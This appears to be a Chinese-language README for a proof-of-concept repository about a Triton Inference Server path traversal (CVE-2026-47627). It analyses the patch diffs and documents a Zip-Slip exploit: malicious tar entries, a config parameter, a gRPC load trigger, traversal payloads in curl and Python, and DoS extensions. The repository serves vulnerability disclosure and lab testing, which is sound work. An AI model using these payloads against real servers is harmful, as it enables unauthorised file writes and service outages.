本仓库包含完整的研究报告与 PoC(镜像
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0)。仓库已配置为始终explicit模式,以便 PoC 无需重启即可通过 gRPC 执行。
诚实说明: CNA 描述仅提及
路径遍历 → DoS,无详细信息。本报告通过r26.05..r26.06差异对比 和 在26.05-py3容器中的直接测试 重构了漏洞位置。
镜像: nvcr.io/nvidia/tritonserver:26.05-py3(TRITON_VERSION 2.69.0)
Compose 始终为 explicit 模式(本仓库已修改):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10、run_triton.ps1:11、run_triton.sh:12 也已设置为 explicit。
Triton 模式:
NONE(上游默认)→ 启动时加载一次,POST /v2/repository/models/.../load → 503,加载新模型需重启。POLL → 每秒扫描仓库,自动加载,但仍阻止显式加载。EXPLICIT(本仓库)→ 不扫描,但开放 gRPC load_model / POST /load → PoC 无需重启即可通过 gRPC 执行。端口:
| 8000 | HTTP REST | v2/health、v2/models、v2/repository |
| 8001 | gRPC | RepositoryModelLoad、ModelInfer |
| 8002 | 指标 | Prometheus |
初始模型:
model_repository/
├── echo_python/ (python 后端, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
快速开始:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # 健康检查 + identity_onnx 推理
用户输入 (model_name / tar 条目) ──► join(parent, child) ──► canonicalize ──► 检查 "child 是否在 parent 内" ──► 打开文件
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' 检查 FileExists / 解压
join 未经过 canonicalize,或 rfind(parent,0)==0 检查有误(部分匹配 /models 与 /models_evil),则 ../ 可逃逸。/dev/zero、/proc/self/mem,或 tar 包含 ../../ 覆盖系统文件时 → 挂起 / OOM / 崩溃。三个研究问题(来自初始报告):
RepositoryModelLoad 中的 model_name、tar 条目 EXECUTION_ENV_PATH、file: 覆盖、TRITON_BATCH_STRATEGY_PATH。posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath。DoS。本仓库证明了可向 /tmp/poc_marker 写入文件。core 仓库(r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — 修复 dcb315d + 72f3d9b:
// 漏洞版本 (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → 部分匹配 bug:"/models" 前缀会将 "/models_evil/file" 误判为内部路径
// 修复版本 (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → 前缀后必须为 '/',"/models_evil" 现在正确判定为外部路径
用于 src/backend_model.cc:196(TRITON_BATCH_STRATEGY_PATH)和 src/model_repository_manager/model_repository_manager.cc:162(file:)。
src/model_repository_manager/model_repository_manager.cc:62 — /(2026 年 3 月,26.05 已有但 26.06 收紧):
server 仓库(r26.05..r26.06): 仅 sagemaker_server.cc:1027(RE2::FullMatch 检查)+ http_server.cc:2440(atoi→stoi),与本 CVE 路径无关。
结论: 通过 HTTP/gRPC 的 model_name 路径在 26.05 中已被 ValidateModelName 阻止,但 tar Zip-Slip 尚未修复——这正是本仓库 PoC 所利用的漏洞。
旧报告中
500 vs 400的类比有误:500= 文件不存在(门不存在),400= 被验证拒绝(门已锁)。两者都无法进入。只有200+/tmp中的文件才是证据。
原理: Python 后端参数 EXECUTION_ENV_PATH 指向 $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz。当 load_model('poc_exploit') 被调用时,后端 pb_env.cc:292 解压 tar 时未进行清理。条目 ../../poc_marker 从 .../poc_exploit/ 逃逸到 /tmp/poc_marker。
PoC 步骤(自动执行于 scripts/exploit.py:28 和 exploit.ps1:20):
echo_python → poc_exploit(scripts/exploit.py:35)config.pbtxt(scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit')(scripts/exploit.py:60)— 无需重启,因为 explicit 模式。docker exec tritonserver-test cat /tmp/poc_marker → ()前置条件: Docker、26.05-py3 镜像已 docker compose up -d(仓库已为 explicit 模式)。
Python(无需重启,通过 gRPC):
py scripts/exploit.py # 自动检测 explicit → gRPC
py scripts/exploit.py --keep # 保留产物以便手动检查
# 手动检查: docker exec tritonserver-test cat /tmp/poc_marker
# 手动清理: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
恢复为 MODE_NONE(如需上游默认):
# 编辑 docker-compose.yml:12 删除 --model-control-mode=explicit
docker compose up -d --force-recreate
阻止测试(应为 400/404/500,而非 200):
py scripts/test_http_grpc_blocked.py # 在旧仓库中,现已删除 — 使用 exploit.py 日志
# 或手动:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
漏洞版本(26.05)— exploit.py 输出:
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
验证:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
修复版本(26.06)— 预期:
[-] Not vulnerable: /tmp/poc_marker not found
# 日志: Path contains '..' (或 Path is absolute)
HTTP/gRPC .. 应为 400,而非 500:
# 26.05 gRPC 原始 ../ → 400 INVALID_ARGUMENT(已被 ValidateModelName 阻止)
# 26.05 gRPC ..%2f → 500 字面量轮询(绕过验证但非真正遍历)
# 26.06 两者 → 400
CNA 描述为 DoS,但此 Zip-Slip 可实现 文件覆盖 → DoS:
model.py / config.pbtxt → 模型加载失败 → 503bin/activate 或 FIFO /tmp/fifo → 挂起 pb_env.cc 线程 → UNAVAILABLE../../dev/zero(无限)的 tar 洪泛 load_model → OOM本仓库专注于 文件写入 作为遍历证据;DoS 可通过包含无限循环 1/model.py 的 tar 扩展。
26.06(server v2.70.0、core r26.06)— IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT。8000/8001 暴露到互联网(反向代理 + 认证).. 和 %2f 以及 EXECUTION_ENV_PATHEXECUTION_ENV_PATHdocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # python 后端示例
│ └── identity_onnx/ # onnxruntime 示例
├── scripts/
│ ├── exploit.py:1 # 主要 PoC(Python,一键,gRPC,无需重启)
│ ├── generate_model.py # 重新生成 identity_onnx
│ └── client_test.py # 健康检查 + 推理测试
├── exploit.ps1:1 # 主要 PoC(PowerShell,一键)
├── docker-compose.yml:12 # 始终 explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # 始终 explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # 本报告
已删除:exploit_cve_*.py、poc_zipslip_simple.py、check_mode.py、test_http_grpc_blocked.py、cleanup_poc.py、test_poc.ps1、null、model_repository/zipslip_*、/tmp/poc_marker。
https://github.com/NVIDIA/product-security/tree/main/2026/5865(5865.md、CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627(待分析)dcb315d(现代化子路径)、72f3d9b(子路径测试)、e520f8c7(zipslip 测试)、50830ba/66f09f8(ValidateModelName)v2.70.0(690f9dd)此 PoC 仅供 教育及封闭实验室 使用。请勿在无认证的情况下暴露 8000/8001 端口。演示后请始终执行 exploit.py --keep,然后 docker exec tritonserver-test rm -f /tmp/poc_marker 和 Remove-Item -Recurse model_repository/poc_exploit 进行清理。
| 字段 | 值 |
|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| 发布时间 | 2026-08-18(NVD 待分析) |
| 公告 | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 严重 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 路径遍历 |
| 受影响版本 | 0.0-26.05(server v2.69.0 / core r26.05) |
| 修复版本 | 26.06(server v2.70.0 / core r26.06) |
| 影响 | DoS(CNA 描述)— 本研究证明可通过 Zip-Slip 实现 在 /models 之外写入文件,可进一步扩展为 DoS/资源耗尽 |
| 致谢 | Martin Brodeur |
ValidateModelNamecore#472#481if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
这就是为什么 26.05 中 gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT(已被阻止)。但 %2f(编码的 /)可绕过,因为它不是字面 / → 字面轮询返回 500。
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 测试 zipslip_test.py:
Tar 解压时未检查 .. / 绝对路径。条目 ../../poc_marker 从 /models/poc_exploit/malicious_env.tar.gz 解压到 /tmp/poc_marker(模型目录之外)。26.06 修复:使用 ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + 检查 IsChildPathEscapingParentPath。
| 向量 | Payload | 26.05 结果 | 受影响? |
|---|
HTTP 原始 ../ | POST /v2/repository/models/../tmp/pwn/load | 404(路由规范化) | ❌ |
HTTP 编码 ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 字面量,轮询 /models/..%2ftmp%2fpwn 不存在 | ❌(虚假 500,非遍历) |
gRPC 原始 ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌(已被阻止) |
gRPC 编码 ..%2f | load_model('..%2ftmp%2fpwn') | 500 字面量轮询 | ❌ |
file: 覆盖 ../models_evil | file:../models_evil/pwn | 400/500 取决于部分匹配 | ⚠️(取决于 IsChildPathEscapingParentPath bug,但 model_name 已被 ValidateModelName 阻止) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz 条目 ../../poc_marker | 200 + 文件在 /tmp/poc_marker | ✅ 漏洞 |
pwnedscripts/exploit.py:81| 日期 | 事件 |
|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 POSIX trim |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 zipslip 测试 |
| 2026-06-26 | 26.06 / v2.70.0 补丁发布 |
| 2026-08-18 | CVE 发布 |
| 2026-09-02 | 本 PoC 仓库在 26.05-py3 验证 → VULNERABLE |